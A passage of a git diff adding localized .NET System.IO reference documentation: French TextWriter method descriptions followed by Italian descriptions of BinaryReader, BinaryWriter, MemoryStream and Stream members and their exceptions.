produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à deux). + 1 + + + Écrit une chaîne mise en forme et une nouvelle ligne, en utilisant la même sémantique que . + Chaîne de format composite (consultez la section Notes). + Premier objet à mettre en forme et à écrire. + Deuxième objet à mettre en forme et à écrire. + Troisième objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à trois). + 1 + + + Écrit une chaîne mise en forme et une nouvelle ligne, en utilisant la même sémantique que . + Chaîne de format composite (consultez la section Notes). + Tableau d'objets contenant aucun, un ou plusieurs objets à mettre en forme et à écrire. + Une chaîne ou un objet est passé en tant que null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de mise en forme est inférieur à 0 (zéro), ou supérieur ou égal à la longueur du tableau . + 1 + + + Écrit la représentation textuelle d'un entier non signé de 4 octets suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Entier non signé de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier non signé de 8 octets suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Entier non signé de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un caractère suivi d'une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans le flux de texte. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un tableau de caractères suivi d'une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à écrire dans le flux de texte.Si le tableau de caractères a la valeur null, seul la marque de fin de ligne est écrite. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères suivi d'une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position du caractère dans la mémoire tampon à laquelle commencer la récupération des données. + Nombre de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne suivie d'une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si la valeur est null, seul une marque de fin de ligne est écrite. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.0/it/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.0/it/System.IO.xml new file mode 100644 index 0000000..9bb2174 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.0/it/System.IO.xml @@ -0,0 +1,2123 @@ + + + + System.IO + + + + Legge i tipi di dati primitivi come valori binari in una determinata codifica. + 2 + + + Inizializza una nuova istanza della classe in base al flusso specificato e usando la codifica UTF-8. + Flusso di input. + Il flusso non supporta la lettura, è null o è già chiuso. + + + Inizializza una nuova istanza della classe in base alla codifica dei caratteri e del flusso specificata. + Flusso di input. + Codifica dei caratteri da usare. + Il flusso non supporta la lettura, è null o è già chiuso. + + è null. + + + Inizializza una nuova istanza della classe in base alla codifica dei caratteri e di flusso specificati. Facoltativamente mantiene aperto il flusso. + Flusso di input. + Codifica dei caratteri da usare. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + Il flusso non supporta la lettura, è null o è già chiuso. + + o è null. + + + Espone l'accesso al flusso sottostante dell'oggetto . + Flusso sottostante associato all'oggetto BinaryReader. + 2 + + + Rilascia tutte le risorse usate dall'istanza corrente della classe . + + + Rilascia le risorse non gestite usate dalla classe e facoltativamente le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Inserisce nel buffer interno il numero specificato di byte letti dal flusso. + Numero di byte da leggere. + È stata raggiunta la fine del flusso prima che fosse possibile leggere . + Si è verificato un errore di I/O. + I richiesti sono superiori alla dimensione del buffer interno. + + + Restituisce il successivo carattere disponibile senza spostare in avanti la posizione del byte o del carattere. + Carattere successivo disponibile oppure -1 se non sono disponibili altri caratteri o se il flusso non supporta la ricerca. + Si è verificato un errore di I/O. + Impossibile decodificare il carattere corrente nel buffer di caratteri interno tramite l'oggetto selezionato per il flusso. + 2 + + + Legge i caratteri dal flusso sottostante e sposta in avanti la posizione corrente del flusso secondo il valore Encoding usato e il carattere specifico che il flusso sta leggendo. + Carattere successivo dal flusso di input oppure -1 se non vi sono caratteri disponibili. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 2 + + + Legge il numero specificato di byte dal flusso, a partire da un punto specificato nella matrice di byte. + Numero di byte letti nell'oggetto .Può essere minore del numero di byte richiesti, se tale quantità di byte non è disponibile, oppure zero, se è stata raggiunta la fine del flusso. + Buffer in cui leggere i dati. + Punto di partenza nel buffer dal quale avviare la lettura nel buffer. + Numero di byte da leggere. + La lunghezza del buffer meno è minore di . -oppure-Il numero dei caratteri decodificati da leggere è maggiore di .Questo caso può verificarsi se un decodificatore Unicode restituisce caratteri di fallback o una coppia di surrogati. + + è null. + Il valore di o è negativo. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge il numero specificato di caratteri dal flusso, a partire da un punto specificato nella matrice di caratteri. + Numero complessivo di caratteri letti nel buffer.Può essere minore del numero di caratteri richiesti, se tale quantità di caratteri non è attualmente disponibile, oppure zero, se è stata raggiunta la fine del flusso. + Buffer in cui leggere i dati. + Punto di partenza nel buffer dal quale avviare la lettura nel buffer. + Numero di caratteri da leggere. + La lunghezza del buffer meno è minore di . -oppure-Il numero dei caratteri decodificati da leggere è maggiore di .Questo caso può verificarsi se un decodificatore Unicode restituisce caratteri di fallback o una coppia di surrogati. + + è null. + Il valore di o è negativo. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero a 32 bit in formato compresso. + Intero a 32 bit in formato compresso. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + Flusso danneggiato. + + + Legge un valore Boolean dal flusso corrente e sposta in avanti di 1 byte la posizione corrente del flusso. + true se il byte è diverso da zero; in caso contrario, false. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge il byte successivo dal flusso corrente e sposta in avanti di 1 byte la posizione corrente del flusso. + Byte successivo letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge il numero specificato di byte dal flusso corrente in una matrice di byte e sposta in avanti la posizione corrente in base a tale numero di byte. + Matrice di byte contenente dati letti dal flusso sottostante.Può essere minore del numero di byte necessari se viene raggiunta la fine del flusso. + Numero di byte da leggere.Questo valore deve essere 0 o un numero non negativo; in caso contrario, si verificherà un'eccezione. + Il numero dei caratteri decodificati da leggere è maggiore di .Questo caso può verificarsi se un decodificatore Unicode restituisce caratteri di fallback o una coppia di surrogati. + Si è verificato un errore di I/O. + Il flusso è chiuso. + + è negativo. + 2 + + + Legge il carattere successivo dal flusso corrente e sposta in avanti la posizione corrente del flusso secondo il valore Encoding usato e il carattere specifico letto dal flusso. + Carattere letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + È stato letto un carattere surrogato. + 2 + + + Legge il numero specificato di caratteri dal flusso corrente, restituisce i dati in una matrice di caratteri e sposta in avanti la posizione corrente secondo il valore Encoding usato e il carattere specifico letto dal flusso. + Matrice di caratteri contenente dati letti dal flusso sottostante.Può essere minore del numero di caratteri necessari se viene raggiunta la fine del flusso. + Numero di caratteri da leggere. + Il numero dei caratteri decodificati da leggere è maggiore di .Questo caso può verificarsi se un decodificatore Unicode restituisce caratteri di fallback o una coppia di surrogati. + Il flusso è chiuso. + Si è verificato un errore di I/O. + + è negativo. + 2 + + + Legge un valore decimale dal flusso corrente e sposta in avanti di sedici byte la posizione corrente del flusso. + Valore decimale letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un valore a virgola mobile a 8 byte dal flusso corrente e sposta in avanti di otto byte la posizione corrente del flusso. + Valore a virgola mobile a 8 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero con segno a 2 byte dal flusso corrente e sposta in avanti di 2 byte la posizione corrente del flusso. + Intero con segno a 2 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero con segno a 4 byte dal flusso corrente e sposta in avanti di quattro byte la posizione corrente del flusso. + Intero con segno a 4 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero con segno a 8 byte dal flusso corrente e sposta in avanti di 8 byte la posizione del flusso. + Intero con segno a 8 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un byte con segno dal flusso corrente e sposta in avanti di un byte la posizione corrente del flusso. + Byte con segno letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un valore a virgola mobile a 4 byte dal flusso corrente e sposta in avanti di quattro byte la posizione corrente del flusso. + Valore a virgola mobile a 4 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge una stringa dal flusso corrente.La stringa ha un prefisso di lunghezza e viene codificata come intero, 7 bit alla volta. + Stringa da leggere. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero senza segno a 2 byte dal flusso corrente usando la codifica little-endian e sposta in avanti di due byte la posizione del flusso. + Intero senza segno a 2 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero senza segno a 4 byte dal flusso corrente e sposta in avanti di quattro byte la posizione del flusso. + Intero senza segno a 4 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero senza segno a 8 byte dal flusso corrente e sposta in avanti di otto byte la posizione del flusso. + Intero senza segno a 8 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 2 + + + Scrive i tipi primitivi in codice binario in un flusso e supporta la scrittura di stringhe in una determinata codifica. + 2 + + + Inizializza una nuova istanza della classe che scrive in un flusso. + + + Inizializza una nuova istanza della classe in base alla codifica using UTF-8 e di flusso specificata. + Flusso di output. + Il flusso non supporta la scrittura o è già chiuso. + + è null. + + + Inizializza una nuova istanza della classe in base alla codifica caratteri e di flusso specificata. + Flusso di output. + Codifica dei caratteri da utilizzare. + Il flusso non supporta la scrittura o è già chiuso. + + o è null. + + + Inizializza una nuova istanza della classe in base alla codifica caratteri e di flusso specificata. Facoltativamente mantiene aperto il flusso. + Flusso di output. + Codifica dei caratteri da utilizzare. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + Il flusso non supporta la scrittura o è già chiuso. + + o è null. + + + Ottiene il flusso sottostante dell'oggetto . + Flusso sottostante associato a BinaryWriter. + 1 + + + Rilascia tutte le risorse utilizzate dall'istanza corrente della classe . + + + Rilascia le risorse non gestite utilizzate dall'oggetto ed eventualmente rilascia le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite, false per rilasciare solo le risorse non gestite. + + + Cancella i dati di tutti i buffer del writer corrente e consente la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + 1 + + + Specifica un oggetto privo di archivio di backup. + 1 + + + Contiene il flusso principale. + + + Imposta la posizione all'interno del flusso corrente. + Posizione all'interno del flusso corrente. + Offset dei byte relativo a . + Campo di che indica il punto di riferimento dal quale ottenere la nuova posizione. + Il puntatore a file è stato spostato in un percorso non valido. + Il valore di non è valido. + 1 + + + Scrive un valore Boolean a un byte nel flusso corrente, con 0 che rappresenta false e 1 che rappresenta true. + Valore Boolean da scrivere (0 o 1). + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un byte senza segno nel flusso corrente e sposta in avanti di un byte la posizione del flusso. + Byte senza segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive una matrice di byte nel flusso sottostante. + Matrice di caratteri che contiene i dati da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + + è null. + 1 + + + Scrive un'area di una matrice di byte nel flusso corrente. + Matrice di caratteri che contiene i dati da scrivere. + Punto iniziale nel parametro da cui iniziare la scrittura. + Numero di byte da scrivere. + La lunghezza del buffer meno è minore di . + + è null. + Il valore di o è negativo. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un carattere Unicode nel flusso corrente e sposta in avanti la posizione corrente del flusso secondo il valore Encoding utilizzato e i caratteri specifici scritti nel flusso. + Carattere Unicode non surrogato da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + + è un carattere surrogato singolo. + 1 + + + Scrive una matrice di caratteri nel flusso corrente e sposta in avanti la posizione corrente del flusso secondo il valore Encoding utilizzato e i caratteri specifici scritti nel flusso. + Matrice di caratteri che contiene i dati da scrivere. + + è null. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 1 + + + Scrive una sezione di una matrice di caratteri nel flusso corrente e sposta in avanti la posizione corrente del flusso secondo il valore Encoding utilizzato e i caratteri specifici scritti nel flusso. + Matrice di caratteri che contiene i dati da scrivere. + Punto iniziale in dal quale avviare la scrittura. + Numero di caratteri da inserire. + La lunghezza del buffer meno è minore di . + + è null. + Il valore di o è negativo. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un valore decimale nel flusso corrente e sposta in avanti di 16 byte la posizione del flusso. + Valore decimale da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un valore a virgola mobile a otto byte nel flusso corrente e sposta in avanti di otto byte la posizione del flusso. + Valore a virgola mobile a otto byte da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a due byte con segno nel flusso corrente e sposta in avanti di due byte la posizione del flusso. + Intero a due byte con segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a quattro byte con segno nel flusso corrente e sposta in avanti di quattro byte la posizione del flusso. + Intero a quattro byte con segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a otto byte con segno nel flusso corrente e sposta in avanti di otto byte la posizione del flusso. + Intero a otto byte con segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un byte con segno nel flusso corrente e sposta in avanti di un byte la posizione del flusso. + Byte con segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un valore a virgola mobile a quattro byte nel flusso corrente e sposta in avanti di quattro byte la posizione del flusso. + Valore a virgola mobile a quattro byte da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive una stringa con prefisso di lunghezza nel flusso con la codifica corrente dell'oggetto e sposta in avanti la posizione corrente del flusso secondo la codifica utilizzata e i caratteri specifici scritti nel flusso. + Valore da scrivere. + Si è verificato un errore di I/O. + + è null. + Il flusso è chiuso. + 1 + + + Scrive un intero a due byte senza segno nel flusso corrente e sposta in avanti di due byte la posizione del flusso. + Intero a due byte senza segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a quattro byte senza segno nel flusso corrente e sposta in avanti di quattro byte la posizione del flusso. + Intero a quattro byte senza segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a otto byte senza segno nel flusso corrente e sposta in avanti di otto byte la posizione del flusso. + Intero a otto byte senza segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Inserisce un valore intero a 32 bit in un formato compresso. + Intero da 32 bit da scrivere. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Il flusso è chiuso. + + + Eccezione generata durante il tentativo di leggere oltre la fine di un flusso. + 2 + + + Inizializza una nuova istanza della classe con la relativa stringa di messaggio impostata su un messaggio fornito dal sistema e il relativo HRESULT impostato su COR_E_ENDOFSTREAM. + + + Inizializza una nuova istanza della classe con la relativa stringa di messaggio impostata su e HRESULT impostato su COR_E_ENDOFSTREAM. + Stringa nella quale è descritto l'errore.Il contenuto di deve essere facilmente comprensibile.È necessario che il chiamante del costruttore assicuri che la stringa sia stata localizzata per le impostazioni cultura correnti del sistema. + + + Consente l'inizializzazione di una nuova istanza della classe con un messaggio di errore specificato e un riferimento all'eccezione interna che è la causa dell'eccezione corrente. + Stringa nella quale è descritto l'errore.Il contenuto di deve essere facilmente comprensibile.È necessario che il chiamante del costruttore assicuri che la stringa sia stata localizzata per le impostazioni cultura correnti del sistema. + Eccezione causa dell'eccezione corrente.Se il parametro non è null, l'eccezione corrente viene generata in un blocco catch in cui viene gestita l'eccezione interna. + + + Eccezione generata se un flusso di dati è in un formato non valido. + + + Inizializza una nuova istanza della classe . + + + Inizializza una nuova istanza della classe con un messaggio di errore specificato. + Messaggio di errore nel quale viene indicato il motivo dell’eccezione + + + Inizializza una nuova istanza della classe con un riferimento all'eccezione interna che è la causa dell'eccezione. + Messaggio di errore nel quale viene indicato il motivo dell’eccezione + Eccezione causa dell'eccezione corrente.Se il parametro non è null, l'eccezione corrente viene generata in un blocco catch in cui viene gestita l'eccezione interna. + + + Crea un flusso il cui archivio di backup è costituito dalla memoria.Per esaminare il codice sorgente di .NET Framework per questo tipo, vedere il Reference Source. + 2 + + + Inizializza una nuova istanza della classe con una capacità espandibile inizializzata su zero. + + + Inizializza una nuova istanza non ridimensionabile della classe in base alla matrice di byte specificata. + Matrice di byte senza segno da cui creare il flusso corrente. + + è null. + + + Inizializza una nuova istanza non ridimensionabile della classe in base alla matrice di byte specificata, con la proprietà impostata secondo quanto specificato. + Matrice di byte senza segno da cui creare il flusso. + Impostazione della proprietà , che determina se il flusso supporta la scrittura. + + è null. + + + Inizializza una nuova istanza non ridimensionabile della classe in base alla area specificata (indice) di una matrice di byte. + Matrice di byte senza segno da cui creare il flusso. + Indice in in corrispondenza del quale inizia il flusso. + Lunghezza del flusso in byte. + + è null. + + o è minore di zero. + La lunghezza del buffer meno è minore di . + + + Inizializza una nuova istanza non ridimensionabile della classe in base all'area specificata di una matrice di byte, con la proprietà impostata secondo quanto specificato. + Matrice di byte senza segno da cui creare il flusso. + Indice in in corrispondenza del quale inizia il flusso. + Lunghezza del flusso in byte. + Impostazione della proprietà , che determina se il flusso supporta la scrittura. + + è null. + + o è un valore negativo. + La lunghezza del buffer meno è minore di . + + + Inizializza una nuova istanza della classe in base all'area specificata di una matrice di byte, con la proprietà impostata secondo quanto specificato e la possibilità di chiamare il metodo impostato nel modo specificato. + Matrice di byte senza segno da cui creare il flusso. + Indice in in corrispondenza del quale inizia il flusso. + Lunghezza del flusso in byte. + Impostazione della proprietà , che determina se il flusso supporta la scrittura. + true per abilitare il metodo , che restituisce la matrice di byte senza segno da cui è stato creato il flusso; in caso contrario, false. + + è null. + Il valore di o è negativo. + La lunghezza del buffer meno è minore di . + + + Inizializza una nuova istanza della classe con una capacità espandibile inizializzata secondo quanto specificato. + Dimensione iniziale in byte della matrice interna. + + è negativo. + + + Ottiene un valore che indica se il flusso corrente supporta la lettura. + true se il flusso è aperto. + 2 + + + Ottiene un valore che indica se il flusso corrente supporta la ricerca. + true se il flusso è aperto. + 2 + + + Ottiene un valore che indica se il flusso corrente supporta la scrittura. + true se il flusso supporta la scrittura; in caso contrario, false. + 2 + + + Ottiene o imposta il numero di byte allocati per questo flusso. + Lunghezza della parte usabile del buffer per il flusso. + È stata impostata una capacità negativa o minore della lunghezza corrente del flusso. + Il flusso corrente è chiuso. + set è stato richiamato su un flusso del quale non è possibile modificare la capacità. + 2 + + + Legge in modo asincrono tutti i byte dal flusso corrente e li scrive in un altro flusso, usando le dimensione del buffer specificate e un token di annullamento. + Attività che rappresenta l'operazione di copia asincrona. + Flusso in cui verrà copiato il contenuto del flusso corrente. + Dimensione del buffer, in byte.Il valore deve essere maggiore di zero. + Token da monitorare per le richieste di annullamento. + + è null. + + è un valore negativo o zero. + Il flusso corrente o il flusso di destinazione viene eliminato. + Il flusso corrente non supporta la lettura, o il flusso di destinazione non supporta la scrittura. + + + Rilascia le risorse non gestite usate dalla classe e facoltativamente le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Esegue l'override del metodo in modo che non venga effettuata alcuna operazione. + 2 + + + Rimuove in modo asincrono tutti i buffer per questo flusso e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di scaricamento asincrona. + Token da monitorare per le richieste di annullamento. + Il flusso è stato eliminato. + + + Ottiene la lunghezza in byte del flusso. + Lunghezza del flusso in byte. + Il flusso è chiuso. + 2 + + + Ottiene o imposta la posizione corrente all'interno del flusso. + Posizione corrente all'interno del flusso. + La posizione è impostata su un valore negativo o maggiore di . + Il flusso è chiuso. + 2 + + + Legge un blocco di byte dal flusso corrente e scrive i dati in un buffer. + Numero complessivo di byte scritti nel buffer.Può essere minore del numero di byte richiesti se tale numero di byte non è al momento disponibile o pari a zero se è stata raggiunta la fine del flusso prima della lettura di qualsiasi byte. + Quando questo metodo viene restituito, contiene la matrice di byte specificata in cui i valori tra e ( + - 1) sono sostituiti dai caratteri letti dal flusso corrente. + Offset di byte in base zero in da cui iniziare l'archiviazione dei dati dal flusso corrente. + Numero massimo di byte da leggere. + + è null. + Il valore di o è negativo. + + sottratto alla lunghezza del buffer è minore di . + L'istanza del flusso corrente è chiusa. + 2 + + + Legge in modo asincrono una sequenza di byte dal flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte letti e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Buffer in cui scrivere i dati. + Offset dei byte in da cui iniziare la scrittura dei dati dal flusso. + Numero massimo di byte da leggere. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la lettura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di lettura precedente. + + + Legge un byte dal flusso corrente. + Cast di byte su un oggetto o -1 se è stata raggiunta la fine del flusso. + L'istanza del flusso corrente è chiusa. + 2 + + + Imposta la posizione all'interno del flusso corrente sul valore specificato. + Nuova posizione all'interno del flusso, calcolata combinando il punto di riferimento iniziale e l'offset. + Nuova posizione all'interno del flusso.È relativa al parametro e può essere positiva o negativa. + Valore di tipo , che funge da punto di riferimento per la ricerca. + La ricerca viene tentata prima dell'inizio del flusso. + + è maggiore di . + Il valore di non è valido. -oppure- causato da un overflow aritmetico. + L'istanza del flusso corrente è chiusa. + 2 + + + Imposta la lunghezza del flusso corrente sul valore specificato. + Valore su cui impostare la lunghezza. + Il flusso corrente non è ridimensionabile e il parametro è maggiore della capacità corrente.-oppure- Il flusso corrente non supporta la scrittura. + + è negativo o maggiore della lunghezza massima dell'oggetto , in cui la lunghezza massima corrisponde a ( - origine) e l'origine corrisponde all'indice nel buffer sottostante in corrispondenza del quale inizia il flusso. + 2 + + + Scrive il contenuto del flusso in una matrice di byte, indipendentemente dalla proprietà . + Nuova matrice di byte. + 2 + + + Restituisce la matrice di byte senza segno da cui è stato creato questo flusso.Il valore restituito indica se la conversione è riuscita. + true se la conversione riesce; in caso contrario, false. + Segmento di matrice di byte da cui è stato creato questo flusso. + + + Scrive un blocco di byte nel flusso corrente usando dati letti da un buffer. + Buffer da cui scrivere i dati. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso corrente. + Numero massimo di byte da scrivere. + + è null. + Il flusso non supporta la scrittura.Per ulteriori informazioni, vedere .-oppure- La posizione corrente, rispetto al numero di byte specificati in , è più vicina alla fine del flusso e non è possibile modificare la capacità. + + sottratto alla lunghezza del buffer è minore di . + + o è un valore negativo. + Si è verificato un errore di I/O. + L'istanza del flusso corrente è chiusa. + 2 + + + Scrive in modo asincrono una sequenza di byte nel flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte scritti e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di scrittura asincrona. + Buffer da cui scrivere i dati. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso. + Numero massimo di byte da scrivere. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la scrittura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di scrittura precedente. + + + Scrive un byte nella posizione corrente all'interno del flusso corrente. + Byte da scrivere. + Il flusso non supporta la scrittura.Per ulteriori informazioni, vedere .-oppure- La posizione corrente è alla fine del flusso e non è possibile modificare la capacità. + Il flusso corrente è chiuso. + 2 + + + Scrive l'intero contenuto del flusso di memoria in un altro flusso. + Flusso in cui scrivere il flusso di memoria. + + è null. + Il flusso corrente o di destinazione è chiuso. + 2 + + + Specifica la posizione in un flusso da utilizzare per le ricerche. + 2 + + + Specifica l'inizio di un flusso. + + + Specifica la posizione corrente all'interno di un flusso. + + + Specifica la fine di un flusso. + + + Fornisce una visualizzazione generica di una sequenza di byte.Questa è una classe abstract.Per esaminare il codice sorgente di .NET Framework per questo tipo, vedere il Reference Source. + 2 + + + Inizializza una nuova istanza della classe . + + + Quando ne viene eseguito l'override in una classe derivata, ottiene un valore che indica se il flusso corrente supporta la lettura. + true se il flusso supporta la lettura; in caso contrario, false. + 1 + + + Quando ne viene eseguito l'override in una classe derivata, ottiene un valore che indica se il flusso corrente supporta la ricerca. + true se il flusso supporta la ricerca; in caso contrario, false. + 1 + + + Ottiene un valore che determina se il flusso corrente prevede il timeout. + Valore che determina se il flusso corrente prevede il timeout. + 2 + + + Quando ne viene eseguito l'override in una classe derivata, ottiene un valore che indica se il flusso corrente supporta la scrittura. + true se il flusso supporta la scrittura; in caso contrario, false. + 1 + + + Legge i byte dal flusso corrente e li scrive in un altro flusso. + Flusso in cui verrà copiato il contenuto del flusso corrente. + + è null. + Il flusso corrente non supporta la lettura.-oppure- non supporta la scrittura. + Il flusso corrente o sono stati chiusi prima che venisse chiamato il metodo . + Si è verificato un errore di I/O. + + + Legge tutti i byte dal flusso corrente e li scrive in un altro flusso, usando una dimensione di buffer specificata. + Flusso in cui verrà copiato il contenuto del flusso corrente. + Dimensione del buffer.Il valore deve essere maggiore di zero.La dimensione predefinita è 81920. + + è null. + + è un valore negativo o zero. + Il flusso corrente non supporta la lettura.-oppure- non supporta la scrittura. + Il flusso corrente o sono stati chiusi prima che venisse chiamato il metodo . + Si è verificato un errore di I/O. + + + Legge in modo asincrono i byte dal flusso corrente e li scrive in un altro flusso. + Attività che rappresenta l'operazione di copia asincrona. + Flusso in cui verrà copiato il contenuto del flusso corrente. + + è null. + Il flusso corrente o il flusso di destinazione viene eliminato. + Il flusso corrente non supporta la lettura, o il flusso di destinazione non supporta la scrittura. + + + Legge in modo asincrono tutti i byte dal flusso corrente e li scrive in un altro flusso, usando una dimensione di buffer specificata. + Attività che rappresenta l'operazione di copia asincrona. + Flusso in cui verrà copiato il contenuto del flusso corrente. + Dimensione del buffer, in byte.Il valore deve essere maggiore di zero.La dimensione predefinita è 81920. + + è null. + + è un valore negativo o zero. + Il flusso corrente o il flusso di destinazione viene eliminato. + Il flusso corrente non supporta la lettura, o il flusso di destinazione non supporta la scrittura. + + + Legge in modo asincrono i byte dal flusso corrente e li scrive in un altro flusso, usando una dimensione di buffer specificata e un token di annullamento. + Attività che rappresenta l'operazione di copia asincrona. + Flusso in cui verrà copiato il contenuto del flusso corrente. + Dimensione del buffer, in byte.Il valore deve essere maggiore di zero.La dimensione predefinita è 81920. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + + è un valore negativo o zero. + Il flusso corrente o il flusso di destinazione viene eliminato. + Il flusso corrente non supporta la lettura, o il flusso di destinazione non supporta la scrittura. + + + Rilascia tutte le risorse usate dall'oggetto . + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Quando ne viene eseguito l'override in una classe derivata, cancella tutti i buffer del flusso e determina la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Si è verificato un errore di I/O. + 2 + + + Cancella in modo asincrono i dati di tutti i 